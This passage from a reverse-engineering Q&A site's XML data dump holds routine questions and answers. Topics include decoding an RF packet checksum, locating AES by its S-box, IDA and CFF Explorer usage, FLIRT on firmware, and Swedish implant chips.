0xAE,0x64,0x31,0x11,0x9E,0x89,0x03,0x33,0x2A&#xA;0xE1,0xC0,0x0A,0x1F,0x8E,0x74,0x31,0x11,0x9E,0x89,0x03,0x33,0xDA&#xA;0xE1,0xC0,0x0A,0x5F,0x8E,0x74,0x31,0x11,0x9E,0x89,0x03,0x33,0x1A&#xA;0xE1,0xC0,0x0A,0x5F,0x8E,0x64,0x39,0x11,0x9E,0x89,0x03,0x33,0x12&#xA;0xE1,0xC0,0x0A,0x1F,0xAE,0x64,0x39,0x11,0x9E,0x89,0x03,0x33,0xF2&#xA;0xE1,0xC0,0x0A,0x5F,0xAE,0x64,0x39,0x11,0x9E,0x89,0x03,0x33,0x32&#xA;0xE1,0xC0,0x0A,0x5F,0xAE,0x74,0x39,0x11,0x9E,0x89,0x03,0x33,0x42&#xA;0xE1,0xC0,0x0A,0x1F,0x8E,0x64,0x31,0x15,0x9E,0x89,0x03,0x33,0xCE&#xA;0xE1,0xC0,0x0A,0x5F,0x8E,0x64,0x31,0x15,0x9E,0x89,0x03,0x33,0x0E&#xA;0xE1,0xC0,0x0A,0x5F,0x8E,0x74,0x31,0x15,0x9E,0x89,0x03,0x33,0x1E&#xA;0xE1,0xC0,0x0A,0x1F,0xAE,0x74,0x31,0x15,0x9E,0x89,0x03,0x33,0xFE&#xA;0xE1,0xC0,0x0A,0x5F,0xAE,0x74,0x31,0x15,0x9E,0x89,0x03,0x33,0x3E&#xA;0xE1,0xC0,0x0A,0x5F,0xAE,0x64,0x39,0x15,0x9E,0x89,0x03,0x33,0x36&#xA;0xE1,0xC0,0x0A,0x1F,0x8E,0x74,0x39,0x15,0x9E,0x89,0x03,0x33,0xE6&#xA;0xE1,0xC0,0x0A,0x5F,0x8E,0x74,0x39,0x15,0x9E,0x89,0x03,0x33,0x26&#xA;0xE1,0xC0,0x0A,0x5F,0x8E,0x64,0x31,0x11,0x9C,0x88,0x03,0xB3,0x87&#xA;0xE1,0xC0,0x0A,0x1F,0xAE,0x64,0x31,0x11,0x9C,0x88,0x03,0xB3,0x67&#xA;0xE1,0xC0,0x0A,0x5F,0xAE,0x64,0x31,0x11,0x9C,0x88,0x03,0xB3,0xA7&#xA;0xE1,0xC0,0x0A,0x5F,0xAE,0x74,0x31,0x11,0x9C,0x88,0x03,0xB3,0xB7&#xA;0xE1,0xC0,0x0A,0x1F,0x8E,0x64,0x39,0x11,0x9C,0x88,0x03,0xB3,0x4F&#xA;0xE1,0xC0,0x0A,0x5F,0x8E,0x64,0x39,0x11,0x9C,0x88,0x03,0xB3,0x8F&#xA;&#xA;0xE1,0xC0,0x0A,0x5E,0x0F,0x24,0x91,0x01,0x86,0x81,0x01,0x30,0x75&#xA;0xE1,0xC0,0x0A,0x1E,0x2F,0x24,0x91,0x01,0x86,0x81,0x01,0x30,0x55&#xA;0xE1,0xC0,0x0A,0x1E,0x2F,0x34,0x91,0x01,0x86,0x81,0x01,0x30,0x65&#xA;0xE1,0xC0,0x0A,0x5E,0x2F,0x34,0x91,0x01,0x86,0x81,0x01,0x30,0xA5&#xA;0xE1,0xC0,0x0A,0x1E,0x0F,0x24,0x99,0x01,0x86,0x81,0x01,0x30,0x3D&#xA;0xE1,0xC0,0x0A,0x1E,0x0F,0x34,0x99,0x01,0x86,0x81,0x01,0x30,0x4D&#xA;0xE1,0xC0,0x0A,0x5E,0x0F,0x34,0x99,0x01,0x86,0x81,0x01,0x30,0x8D&#xA;0xE1,0xC0,0x0A,0x1E,0x2F,0x34,0x99,0x01,0x86,0x81,0x01,0x30,0x6D&#xA;0xE1,0xC0,0x0A,0x1E,0x2F,0x24,0x91,0x05,0x86,0x81,0x01,0x30,0x59&#xA;0xE1,0xC0,0x0A,0x5E,0x2F,0x24,0x91,0x05,0x86,0x81,0x01,0x30,0x99&#xA;0xE1,0xC0,0x0A,0x1E,0x0F,0x34,0x91,0x05,0x86,0x81,0x01,0x30,0x49&#xA;0xE1,0xC0,0x0A,0x1E,0x0F,0x24,0x99,0x05,0x86,0x81,0x01,0x30,0x41&#xA;0xE1,0xC0,0x0A,0x5E,0x0F,0x24,0x99,0x05,0x86,0x81,0x01,0x30,0x81&#xA;0xE1,0xC0,0x0A,0x1E,0x2F,0x24,0x99,0x05,0x86,0x81,0x01,0x30,0x61&#xA;0xE1,0xC0,0x0A,0x1E,0x2F,0x34,0x99,0x05,0x86,0x81,0x01,0x30,0x71&#xA;0xE1,0xC0,0x0A,0x5E,0x2F,0x34,0x99,0x05,0x86,0x81,0x01,0x30,0xB1&#xA;0xE1,0xC0,0x0A,0x1E,0x0F,0x24,0x91,0x01,0x84,0x80,0x01,0xB0,0xB2&#xA;0xE1,0xC0,0x0A,0x1E,0x0F,0x34,0x91,0x01,0x84,0x80,0x01,0xB0,0xC2&#xA;0xE1,0xC0,0x0A,0x5E,0x0F,0x34,0x91,0x01,0x84,0x80,0x01,0xB0,0x02&#xA;0xE1,0xC0,0x0A,0x1E,0x2F,0x34,0x91,0x01,0x84,0x80,0x01,0xB0,0xE2&#xA;0xE1,0xC0,0x0A,0x1E,0x2F,0x24,0x99,0x01,0x84,0x80,0x01,0xB0,0xDA&#xA;&#xA;0xE1,0xC0,0x0A,0x0F,0xAA,0x60,0x30,0x14,0x9C,0x88,0x23,0x13,0xD1&#xA;0xE1,0xC0,0x0A,0x0F,0xAA,0x70,0x30,0x14,0x9C,0x88,0x23,0x13,0xE1&#xA;0xE1,0xC0,0x0A,0x0F,0x8A,0x70,0x30,0x14,0x9C,0x88,0x23,0x13,0xC1&#xA;0xE1,0xC0,0x0A,0x0F,0x8A,0x60,0x38,0x14,0x9C,0x88,0x23,0x13,0xB9&#xA;0xE1,0xC0,0x0A,0x0F,0xAA,0x60,0x38,0x14,0x9C,0x88,0x23,0x13,0xD9&#xA;0xE1,0xC0,0x0A,0x0F,0x8A,0x70,0x38,0x14,0x9C,0x88,0x23,0x13,0xC9&#xA;0xE1,0xC0,0x0A,0x0F,0x8A,0x60,0x30,0x10,0x9E,0x88,0x23,0x13,0xAF&#xA;0xE1,0xC0,0x0A,0x4F,0xAA,0x60,0x30,0x10,0x9E,0x88,0x23,0x13,0x0F&#xA;0xE1,0xC0,0x0A,0x4F,0x8A,0x70,0x30,0x10,0x9E,0x88,0x23,0x13,0xFF&#xA;0xE1,0xC0,0x0A,0x4E,0xAA,0x60,0x30,0x34,0x94,0x84,0x27,0x13,0x28&#xA;0xE1,0xC0,0x0A,0x4E,0x8A,0x70,0x30,0x34,0x94,0x84,0x27,0x13,0x18&#xA;0xE1,0xC0,0x0A,0x4E,0xAA,0x70,0x30,0x34,0x94,0x84,0x27,0x13,0x38&#xA;0xE1,0xC0,0x0A,0x4E,0x8A,0x60,0x38,0x34,0x94,0x84,0x27,0x13,0x10&#xA;0xE1,0xC0,0x0A,0x4E,0xAA,0x60,0x38,0x34,0x94,0x84,0x27,0x13,0x30&#xA;0xE1,0xC0,0x0A,0x4E,0x8A,0x70,0x38,0x34,0x94,0x84,0x27,0x13,0x20&#xA;0xE1,0xC0,0x0A,0x4E,0x8A,0x60,0x30,0x30,0x96,0x84,0x27,0x13,0x06&#xA;0xE1,0xC0,0x0A,0x0E,0xAA,0x60,0x30,0x30,0x96,0x84,0x27,0x13,0xE6&#xA;0xE1,0xC0,0x0A,0x0E,0x8A,0x70,0x30,0x30,0x96,0x84,0x27,0x13,0xD6&#xA;0xE1,0xC0,0x0A,0x0E,0xAA,0x70,0x30,0x30,0x96,0x84,0x27,0x13,0xF6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="24363" LastEditorUserId="53" LastEditDate="2018-05-14T18:21:09.957" LastActivityDate="2018-05-14T18:21:09.957" Title="What Checksum/CRC algorithm in RF packet?" Tags="|protocol|crc|networking|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18251" PostTypeId="2" ParentId="18169" CreationDate="2018-05-13T09:29:52.257" Score="2" Body="&lt;p&gt;There is a project called &lt;a href=&quot;https://github.com/cea-sec/Sibyl&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;Sibyl&quot;&gt;Sibyl&lt;/a&gt; based on the symbolic execution framework &lt;a href=&quot;https://github.com/cea-sec/miasm&quot; rel=&quot;nofollow noreferrer&quot;&gt;miasm&lt;/a&gt;. They basically call each unknown function with test cases until it passes all test cases for a given hypothesis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g. if the unknown function is &quot;strlen&quot;, one test case could be: It should, when you call it with the single parameter &quot;AAAAAAA&quot;, not crash and return 7. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sibyl also lets you generate and learn test cases from a known library and try to find matching functions in an unknown binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I must admit that I have not really used it, I just stumbled upon it because I created something vaguely similar using angr and had a look at the source code. Sibyl supports ARM, so you might want to give it a try.&lt;/p&gt;&#xA;" OwnerUserId="23656" LastEditorUserId="23656" LastEditDate="2018-05-14T04:41:26.287" LastActivityDate="2018-05-14T04:41:26.287" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18252" PostTypeId="1" AcceptedAnswerId="18255" CreationDate="2018-05-13T10:59:57.293" Score="-2" ViewCount="188" Body="&lt;p&gt;This binary was from a CTF challenge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found 2 way to solve this, one is run &amp;amp; debug the bin, set a break point and see result in flag after the bin running, another is trying to understand the function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some parts that i dont understand even when i solved this challenge :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why my IDA reverse the string (v6 should be &quot;Bkav&quot; and v7 + v8 should be &quot;Security&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you see, it pass the char* v6 (&quot;Bkav&quot;) into the func01 and func02, but when i do the same thing, it give wrong flag. But when i try to pass the &quot;BkavSecurity&quot; in to func01 and func02, it give me right flag. Quite confuse about this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/m3rp8.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/m3rp8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find file here : &lt;a href=&quot;https://www.sendspace.com/file/g7w8nz&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.sendspace.com/file/g7w8nz&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24366" LastEditorUserId="245" LastEditDate="2018-05-14T08:27:58.143" LastActivityDate="2018-05-14T19:02:29.777" Title="Some question about IDA" Tags="|ida|hexrays|" AnswerCount="2" CommentCount="2" ClosedDate="2018-05-18T06:43:53.830" ContentLicense="CC BY-SA 4.0" />
  <row Id="18253" PostTypeId="2" ParentId="18246" CreationDate="2018-05-13T11:48:43.297" Score="1" Body="&lt;p&gt;I found a solution to my problem.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Edit - Other - Specify switch idiom...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Set new value for Number of elements: 9&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/dekSv.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dekSv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24357" LastActivityDate="2018-05-13T11:48:43.297" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18254" PostTypeId="1" CreationDate="2018-05-13T11:56:08.763" Score="1" ViewCount="551" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Q0Ljn.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;Hi, I would like to edit one compiled java class file &amp;amp; like to insert &amp;amp; edit a couple of lines. I'm trying to make a patch for a software &amp;amp; when I compare this two file the only change I have seen in line 12 &amp;amp; 26. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I'm not a java coder so I don't know how to do that but I read some articles &amp;amp; it suggests that to change a compiled java class there is only two way either get the source code or edit with bytecode editor. I tried to decompile the jar file but it shows huge error. So java byte editor is the only option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to know how to change these parameters without decompiling the class file in java byte editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help me.&lt;/p&gt;&#xA;" OwnerUserId="24368" LastEditorUserId="24368" LastEditDate="2018-05-13T17:34:41.783" LastActivityDate="2018-05-13T17:34:41.783" Title="Java Bytecode edit" Tags="|java|patch-reversing|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18255" PostTypeId="2" ParentId="18252" CreationDate="2018-05-13T12:55:22.840" Score="0" Body="&lt;p&gt;Remember that what you're passing is an address. And the address of &lt;code&gt;v6&lt;/code&gt; and since &lt;code&gt;v6&lt;/code&gt;,&lt;code&gt;v7&lt;/code&gt; and &lt;code&gt;v8&lt;/code&gt; are adjacent to each other so any method that works on &lt;code&gt;char *&lt;/code&gt; will read from one to the other until it reaches byte &lt;code&gt;0&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Letter |  Address | Variable&#xA;   B   | ebp-7e5h | -&amp;gt; v6 (4 bytes)&#xA;   k   | ebp-7e4h | &#xA;   a   | ebp-7e3h | &#xA;   v   | ebp-7e2h | &#xA;   S   | ebp-7e1h | -&amp;gt; v7 (4 bytes)&#xA;   e   | ebp-7e0h |&#xA;   c   | ebp-7dfh |&#xA;   u   | ebp-7deh |&#xA;   r   | ebp-7ddh | -&amp;gt; v8 (4 bytes)&#xA;   i   | ebp-7dch |&#xA;   t   | ebp-7dbh |&#xA;   y   | ebp-7dah |&#xA;  \0   | ebp-7d9h | -&amp;gt; v9 (1 byte)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2018-05-13T12:55:22.840" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18256" PostTypeId="1" CreationDate="2018-05-13T15:59:34.817" Score="-3" ViewCount="1549" Body="&lt;p&gt;I want to locate AES code portion in binary after reverse engineering. I have tried to locate manually and using plugin &lt;code&gt;findcrypt2&lt;/code&gt; but I was not successful. Kindly show me a direction so that I can work on this topic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Windows 10 operating system. The application I am reversing is AESCrypt and 7-zip. The Tool I am using for disassembly is IDA pro and also used findcrypt2 plugin but it did not work well. I have looked for the S-box and used the plugin to detect that specific area but I have no clue where to look&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be highly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="24371" LastEditorUserId="24371" LastEditDate="2018-05-17T17:32:20.693" LastActivityDate="2018-05-17T17:32:20.693" Title="Identification of AES portion code in binary" Tags="|ida|disassembly|binary-analysis|encryption|cryptography|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18257" PostTypeId="2" ParentId="18256" CreationDate="2018-05-13T16:10:46.103" Score="5" Body="&lt;p&gt;The best way to locate AES in a binary blob would be to locate first the &lt;a href=&quot;https://en.wikipedia.org/wiki/Rijndael_S-box&quot; rel=&quot;noreferrer&quot;&gt;AES S-box&lt;/a&gt;. It is specifically designed for AES and recommended by the NIST, so a standard AES must include it. Moreover, they are quite unique and easily found through a simple pattern recognition. Here is the value of such S-box:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;unsigned char s[256] = &#xA;{&#xA;  0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE,&#xA;  0xD7, 0xAB, 0x76, 0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4,&#xA;  0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0, 0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7,&#xA;  0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15, 0x04, 0xC7, 0x23, 0xC3,&#xA;  0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75, 0x09,&#xA;  0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3,&#xA;  0x2F, 0x84, 0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE,&#xA;  0x39, 0x4A, 0x4C, 0x58, 0xCF, 0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85,&#xA;  0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8, 0x51, 0xA3, 0x40, 0x8F, 0x92,&#xA;  0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2, 0xCD, 0x0C,&#xA;  0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19,&#xA;  0x73, 0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14,&#xA;  0xDE, 0x5E, 0x0B, 0xDB, 0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2,&#xA;  0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79, 0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5,&#xA;  0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08, 0xBA, 0x78, 0x25,&#xA;  0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,&#xA;  0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86,&#xA;  0xC1, 0x1D, 0x9E, 0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E,&#xA;  0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF, 0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42,&#xA;  0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once the S-box is located, try to find every function that look at this memory address and you will locate the AES encryption/decryption algorithm.&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2018-05-13T18:29:47.097" LastActivityDate="2018-05-13T18:29:47.097" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="18260" PostTypeId="2" ParentId="18169" CreationDate="2018-05-14T07:31:32.940" Score="2" Body="&lt;p&gt;Using FLIRT for C code requires you to know the exact version of CRT and the exact flags of the compilation so that you could build it yourself and then, having all the binaries and debug symbols, create the signatures from .a or .obj or .lib.&#xA;But there are so many variations of CRT built with various versions of the compilers. And there's no way to determine the build flags, so it's very unlikely that you'll be able to use FLIRT in this case. &#xA;So the best thing you can do is static analysis. In the firmware there's usually enough assert messages and error logging which can help you to determine some basic stuff like alloc, free, fopen, fwrite, fread, fclose. sprintf is also quite easy to find. &#xA;Also use the fact that CRT functions are grouped together, i.e. if you find one, then the function above it and below it (I'm talking about the addresses) is library function too.&lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2018-05-14T07:31:32.940" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18263" PostTypeId="1" CreationDate="2018-05-14T16:58:04.737" Score="0" ViewCount="97" Body="&lt;p&gt;So now we see that the Swedes are going large with their implantable chips which allow them to carry out certain kinds of transactions without using plastic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.scmp.com/news/world/europe/article/2145896/thousands-people-sweden-get-microchip-implants-new-way-life&quot; rel=&quot;nofollow noreferrer&quot;&gt;Thousands of people in Sweden get microchip implants for a new way of life&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Excerpt:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;It’s the size of a grain of rice but could hold the key to many&#xA;  aspects of your life.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A tiny microchip inserted under the skin can replace the need to carry&#xA;  keys, credit cards and train tickets.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;That might sound like an Orwellian nightmare to some but in Sweden it&#xA;  is a welcome reality for a growing number who favour convenience over&#xA;  concerns of potential personal data violations.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The small implants were first used in 2015 in Sweden – initially&#xA;  confidentially – and several other countries.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Swedes have gone on to be very active in microchipping, with scant&#xA;  debate about issues surrounding its use, in a country keen on new&#xA;  technology and where the sharing of personal information is held up as&#xA;  a sign of a transparent society.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Sweden’s SJ national railway company has won over some 130 users to&#xA;  its microchip reservation service in a year.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Conductors scan passengers’ hands after they book tickets online and&#xA;  register them on their chip. Sweden has a track record on the sharing&#xA;  of personal information, which may have helped ease the microchip’s&#xA;  acceptance among the Nordic country’s 10 million-strong population.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My question is:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;How to read the information, then what information is stored in them?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How do these microchips work?  Are they merely RFID units that store a single personal ID number?  Or is it something more complex, like a SIM card or Smartcard with some other kind of registration?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="18580" LastEditorUserId="18580" LastEditDate="2018-05-15T08:25:24.740" LastActivityDate="2018-05-15T12:57:20.270" Title="How do the new Swedish implantable microchips work?" Tags="|firmware|memory|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18265" PostTypeId="2" ParentId="18250" CreationDate="2018-05-14T18:03:07.920" Score="6" Body="&lt;p&gt;The checksum algorithm is simple indeed. It adds all the payload bytes modulo 0xFF and then adds 26.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wrote a script to test it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/python&#xA;&#xA;import binascii&#xA;&#xA;def checksum(data):&#xA;    payload = data[3:-1]&#xA;    checksum = 26&#xA;    for c in payload:&#xA;        checksum += c&#xA;    checksum &amp;amp;= 0xFF&#xA;    return checksum&#xA;&#xA;with open(&quot;input.txt&quot;,&quot;r&quot;) as f:&#xA;    for line in f:&#xA;        line = line.strip()&#xA;        if line == &quot;&quot;:&#xA;            continue&#xA;        line = line.replace(&quot;,&quot;,&quot;&quot;)&#xA;        line = line.replace(&quot;0x&quot;,&quot;&quot;)&#xA;&#xA;        data = binascii.unhexlify(line)&#xA;&#xA;        if checksum(data) == data[-1]:&#xA;            print(&quot;pass&quot;)&#xA;        else:&#xA;            print(&quot;fail&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I copied your above samples into &lt;code&gt;input.txt&lt;/code&gt; and they all passed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for how I found out, I googled about sync words (didn't know what that is), and 1 byte checksums and some other post mentioned simple addition. I also tested multiple CRC8 variants but none worked. I also found it telling that the checksum seems to reflect changes in the input, such as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0xE1,0xC0,0x0A,0x4E,0x8A,0x60,0x38,0x34,0x94,0x84,0x27,0x13,0x10&#xA;0xE1,0xC0,0x0A,0x4E,0x8A,0x70,0x38,0x34,0x94,0x84,0x27,0x13,0x20&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;0x60&lt;/code&gt; changed to &lt;code&gt;0x70&lt;/code&gt; and so did the checksum increase by &lt;code&gt;0x10&lt;/code&gt; which - I think - would not be as obvious for CRCs.&lt;/p&gt;&#xA;" OwnerUserId="23277" LastActivityDate="2018-05-14T18:03:07.920" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="18266" PostTypeId="2" ParentId="12965" CreationDate="2018-05-14T18:24:06.777" Score="-1" Body="&lt;p&gt;I recommend trying using binwalk again. binwalk has it's own extraction utility which decompresses/deflates files of many different file types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use it like so...&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;binwalk -Me file_name&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="24346" LastActivityDate="2018-05-14T18:24:06.777" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18267" PostTypeId="1" CreationDate="2018-05-14T18:28:04.490" Score="0" ViewCount="1110" Body="&lt;p&gt;I have different problem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created VM (windows7x86SP1) with VMware Fusion on Mac OSX. When I try to install IDA Pro, I have a such a error. But I couldn't find any solution. I removed VM than installed again. But result is same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe someone knows and can help me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xRG5V.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xRG5V.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13024" LastActivityDate="2018-05-16T08:43:17.320" Title="IDA Pro v7 installation problem in VM" Tags="|ida|windows|virtual-machines|vmware|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="18268" PostTypeId="2" ParentId="18252" CreationDate="2018-05-14T19:02:29.777" Score="1" Body="&lt;p&gt;well you can create a &lt;strong&gt;stackvar K&lt;/strong&gt;   on all the four instructions and convert those stack variables to an array of proper length &lt;/p&gt;&#xA;&#xA;&lt;p&gt;then you can see ida showing you the offsets from base the screen shot is from ida free 5 on a 32 bit machine  (it doesn't decompile ) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;but in your case i think decompilation would be more better ( this construct is an inlined/unrolled strcpy(src,dest) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/q7JRx.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/q7JRx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2018-05-14T19:02:29.777" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18269" PostTypeId="1" CreationDate="2018-05-14T22:36:36.727" Score="1" ViewCount="476" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Kf3mo.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Kf3mo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ehPsw.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ehPsw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't see the _set_app_type function name in the CFF explorer , Why is that ?&lt;/p&gt;&#xA;" OwnerUserId="24017" LastActivityDate="2018-05-15T03:13:32.457" Title="CFF explorer quick dissassembler not showing function name like IDA pro" Tags="|disassembly|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18270" PostTypeId="2" ParentId="18269" CreationDate="2018-05-15T03:05:57.550" Score="1" Body="&lt;p&gt;The name isn't part of the code. IDA parses the import directory to get that informationen and then uses it to make the disassembly more readable. CFF Explorer doesn't seem to do that.&lt;/p&gt;&#xA;" OwnerUserId="23277" LastEditorUserId="23277" LastEditDate="2018-05-15T03:13:32.457" LastActivityDate="2018-05-15T03:13:32.457" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
